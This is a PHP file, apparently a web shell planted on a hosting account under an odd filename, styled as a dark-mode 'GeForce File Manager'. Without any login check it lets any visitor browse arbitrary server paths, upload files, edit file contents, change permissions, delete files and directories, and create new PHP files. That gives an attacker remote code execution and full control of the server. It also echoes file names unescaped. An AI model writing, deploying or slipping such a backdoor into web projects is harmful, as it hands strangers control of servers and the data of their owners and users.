File: /home/shrsglobal/eetu.php
<?php
// Advanced PHP File Manager (Dark Mode)
// Path to manage
$path = isset($_GET['path']) ? $_GET['path'] : '.';
// Normalize and secure the path
$path = realpath($path);
// Helper function to get the size of a directory
function getDirectorySize($path) {
$bytestotal = 0;
if($path !== false && $path != '' && file_exists($path)){
foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS)) as $object){
$bytestotal += $object->getSize();
}
}
return $bytestotal;
}
// Helper function to get permissions
function getOctalPerms($path) {
return substr(sprintf('%o', fileperms($path)), -4);
}
// Handle file upload
if(isset($_FILES['file'])){
$upload_path = $path . '/' . basename($_FILES['file']['name']);
if(move_uploaded_file($_FILES['file']['tmp_name'], $upload_path)){
echo "<script>alert('File uploaded successfully!');</script>";
} else {
echo "<script>alert('File upload failed!');</script>";
}
}
// Handle deletion
if(isset($_GET['delete'])){
$delete_file = basename($_GET['delete']);
$delete_path = realpath($path . '/' . $delete_file);
if(is_file($delete_path)){
unlink($delete_path);
echo "<script>alert('File deleted successfully!'); window.location.href='?path=" . urlencode($path) . "';</script>";
} elseif(is_dir($delete_path)){
rmdir($delete_path);
echo "<script>alert('Directory deleted successfully!'); window.location.href='?path=" . urlencode($path) . "';</script>";
} else {
echo "<script>alert('Deletion failed!');</script>";
}
}
// Handle editing
if(isset($_POST['save']) && isset($_POST['content']) && isset($_POST['edit_file'])){
$edit_file = basename($_POST['edit_file']);
$edit_path = realpath($path . '/' . $edit_file);
if($edit_path && is_file($edit_path)) {
file_put_contents($edit_path, $_POST['content']);
echo "<script>alert('File saved successfully!'); window.location.href='?path=" . urlencode($path) . "';</script>";
} else {
echo "<script>alert('Error saving file!');</script>";
}
}
// Handle Permissions (Chmod)
if(isset($_POST['change_perms']) && isset($_POST['perms']) && isset($_POST['target_item'])){
$target_item = basename($_POST['target_item']);
$target_path = realpath($path . '/' . $target_item);
$new_perms_octal = octdec($_POST['perms']);
if($target_path && (is_file($target_path) || is_dir($target_path))) {
if(chmod($target_path, $new_perms_octal)){
echo "<script>alert('Permissions updated successfully!'); window.location.href='?path=" . urlencode($path) . "';</script>";
} else {
echo "<script>alert('Failed to change permissions.');</script>";
}
}
}
// Handle Creation
if(isset($_POST['create']) && isset($_POST['filename'])){
$filename = preg_replace('/[^a-zA-Z0-9_\-]/', '', $_POST['filename']);
$new_file_path = $path . '/' . $filename . '.php';
if(!file_exists($new_file_path)){
file_put_contents($new_file_path, "<?php\n\n// New PHP File\n\n?>");
echo "<script>alert('PHP file created successfully!'); window.location.href='?path=" . urlencode($path) . "';</script>";
} else {
echo "<script>alert('File already exists!');</script>";
}
}
// --- SORTING LOGIC ---
$files_raw = scandir($path);
$dirs = [];
$files_list = [];
foreach ($files_raw as $f) {
if ($f === '.' || $f === '..') continue;
if (is_dir($path . '/' . $f)) {
$dirs[] = $f;
} else {
$files_list[] = $f;
}
}
$sorted_files = array_merge($dirs, $files_list); // Folders first
$path_parts = explode(DIRECTORY_SEPARATOR, $path);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>GeForce File Manager</title>
<style>
:root {
--bg-color: #1e1e1e;
--panel-bg: #252526;
--text-color: #cccccc;
--accent-color: #3794ff;
--border-color: #3e3e42;
--hover-bg: #2a2d2e;
--input-bg: #3c3c3c;
--danger-color: #f44336;
}
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background-color: var(--bg-color);
color: var(--text-color);
margin: 0;
padding: 20px;
font-size: 14px;
}
a { color: var(--accent-color); text-decoration: none; transition: 0.2s; }
a:hover { text-decoration: underline; color: #6fb2ff; }
.file-manager {
max-width: 1200px;
margin: 0 auto;
background: var(--panel-bg);
border: 1px solid var(--border-color);
box-shadow: 0 4px 15px rgba(0,0,0,0.5);
border-radius: 6px;
overflow: hidden;
}
.header {
padding: 15px 20px;
background: #333333;
border-bottom: 1px solid var(--border-color);
display: flex;
justify-content: space-between;
align-items: center;
}
.header h1 { margin: 0; font-size: 18px; color: #fff; }
.path-bar {
padding: 10px 20px;
background: #2d2d2d;
border-bottom: 1px solid var(--border-color);
font-family: monospace;
color: #888;
}
.path-bar a { color: #fff; font-weight: bold; }
.path-bar span { color: #666; margin: 0 5px; }
.toolbar {
padding: 15px 20px;
display: flex;
gap: 15px;
background: var(--panel-bg);
border-bottom: 1px solid var(--border-color);
}
/* Forms */
input[type="text"], input[type="file"], textarea {
background: var(--input-bg);
border: 1px solid var(--border-color);
color: #fff;
padding: 6px 10px;
border-radius: 3px;
outline: none;
}
input[type="text"]:focus { border-color: var(--accent-color); }
input[type="submit"], button {
background-color: var(--accent-color);
color: white;
border: none;
padding: 6px 15px;
border-radius: 3px;
cursor: pointer;
font-size: 13px;
}
input[type="submit"]:hover { opacity: 0.9; }
/* Table */
table { width: 100%; border-collapse: collapse; }
th { text-align: left; padding: 10px 20px; background: #2d2d2d; color: #aaa; font-weight: normal; border-bottom: 1px solid var(--border-color); }
td { padding: 8px 20px; border-bottom: 1px solid #333; }
tr:hover { background-color: var(--hover-bg); }
tr:last-child td { border-bottom: none; }
.icon { width: 20px; display: inline-block; text-align: center; margin-right: 8px; }
.is-dir { color: #e8b363; } /* Folder Color */
.is-file { color: #569cd6; } /* File Color */
.actions a {
margin-right: 10px;
font-size: 12px;
padding: 2px 6px;
border-radius: 3px;
background: #333;
color: #ddd;
}
.actions a:hover { background: #444; text-decoration: none; }
.actions a.delete { color: var(--danger-color); }
.actions a.delete:hover { background: rgba(244, 67, 54, 0.1); }
/* Editors */
.modal-area {
padding: 20px;
background: #1e1e1e;
border-top: 1px solid var(--border-color);
}
.modal-area h2 { margin-top: 0; color: #fff; font-size: 16px; margin-bottom: 15px; }
textarea.code-editor {
width: 100%;
height: 400px;
font-family: 'Consolas', 'Monaco', monospace;
background: #1e1e1e;
border: 1px solid var(--border-color);
color: #d4d4d4;
line-height: 1.5;
resize: vertical;
}
</style>
</head>
<body>
<div class="file-manager">
<div class="header">
<h1>GeForce Manager</h1>
<div style="font-size: 12px; color: #666;">PHP Advanced</div>
</div>
<div class="path-bar">
<?php foreach($path_parts as $key => $part): ?>
<?php $current_path = implode(DIRECTORY_SEPARATOR, array_slice($path_parts, 0, $key + 1)); ?>
<a href="?path=<?php echo urlencode($current_path); ?>"><?php echo htmlspecialchars($part); ?></a> <span>/</span>
<?php endforeach; ?>
</div>
<div class="toolbar">
<form action="" method="post" enctype="multipart/form-data" style="display:flex; align-items:center;">
<input type="file" name="file" required style="margin-right: 10px;">
<input type="submit" value="Upload">
</form>
<div style="border-left: 1px solid var(--border-color); margin: 0 10px;"></div>
<form action="" method="post" style="display:flex; align-items:center;">
<input type="text" name="filename" placeholder="NewFile" required style="width: 120px; margin-right: 10px;">
<input type="submit" name="create" value="Create PHP">
</form>
</div>
<table>
<thead>
<tr>
<th width="50%">Name</th>
<th width="15%">Size</th>
<th width="10%">Perms</th>
<th width="25%">Actions</th>
</tr>
</thead>
<tbody>
<?php foreach($sorted_files as $file): ?>
<?php
$full_path = $path . '/' . $file;
$is_dir = is_dir($full_path);
$icon = $is_dir ? '<span class="icon is-dir">📁</span>' : '<span class="icon is-file">📄</span>';
?>
<tr>
<td>
<?php echo $icon; ?>
<?php if($is_dir): ?>
<a href="?path=<?php echo urlencode($full_path); ?>" style="color: #e8b363; font-weight: bold;"><?php echo $file; ?></a>
<?php else: ?>
<span style="color: #d4d4d4;"><?php echo $file; ?></span>
<?php endif; ?>
</td>
<td style="color: #888;"><?php echo $is_dir ? getDirectorySize($full_path) . ' B' : filesize($full_path) . ' B'; ?></td>
<td style="color: #888; font-family: monospace;"><?php echo getOctalPerms($full_path); ?></td>
<td class="actions">
<?php if($is_dir): ?>
<a href="?path=<?php echo urlencode($path); ?>&chmod=<?php echo urlencode($file); ?>">Permissions</a>
<a href="?path=<?php echo urlencode($path); ?>&delete=<?php echo urlencode($file); ?>" class="delete" onclick="return confirm('Delete Folder?');">Delete</a>
<?php else: ?>
<a href="?path=<?php echo urlencode($path); ?>&edit=<?php echo urlencode($file); ?>">Edit</a>
<a href="?path=<?php echo urlencode($path); ?>&chmod=<?php echo urlencode($file); ?>">Perms</a>
<a href="?path=<?php echo urlencode($path); ?>&delete=<?php echo urlencode($file); ?>" class="delete" onclick="return confirm('Delete File?');">Delete</a>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php
if(isset($_GET['chmod'])) {
$chmod_item = basename($_GET['chmod']);
$chmod_path = realpath($path . '/' . $chmod_item);
if($chmod_path && (is_file($chmod_path) || is_dir($chmod_path))) {
$current_perms = getOctalPerms($chmod_path);
$type_label = is_dir($chmod_path) ? "Folder" : "File";
?>
<div class="modal-area">
<h2>Change Permissions: <span style="color:var(--accent-color)"><?php echo htmlspecialchars($chmod_item); ?></span></h2>
<form action="" method="post">
<div style="display:flex; gap: 10px; align-items: center;">
<label>Mode (e.g. 0755):</label>
<input type="text" name="perms" value="<?php echo $current_perms; ?>" required style="width: 80px; text-align: center;">
<input type="hidden" name="target_item" value="<?php echo htmlspecialchars($chmod_item); ?>">
<input type="submit" name="change_perms" value="Update">
<a href="?path=<?php echo urlencode($path); ?>" style="margin-left: 10px; color: #888;">Cancel</a>
</div>
</form>
</div>
<?php }} ?>
<?php
if(isset($_GET['edit'])) {
$edit_file = basename($_GET['edit']);
$edit_path = realpath($path . '/' . $edit_file);
if($edit_path && is_file($edit_path)) {
$content = file_get_contents($edit_path);
?>
<div class="modal-area" id="editor">
<h2>Editing: <span style="color:var(--accent-color)"><?php echo htmlspecialchars($edit_file); ?></span></h2>
<form action="" method="post">
<textarea name="content" class="code-editor" spellcheck="false"><?php echo htmlspecialchars($content); ?></textarea>
<div style="margin-top: 15px;">
<input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($edit_file); ?>">
<input type="submit" name="save" value="Save Changes">
<a href="?path=<?php echo urlencode($path); ?>" style="margin-left: 15px; color: #888;">Cancel</a>
</div>
</form>
</div>
<script>
// Simple auto-scroll to editor
document.getElementById('editor').scrollIntoView({behavior: "smooth"});
</script>
<?php }} ?>
</div>
</body>
</html>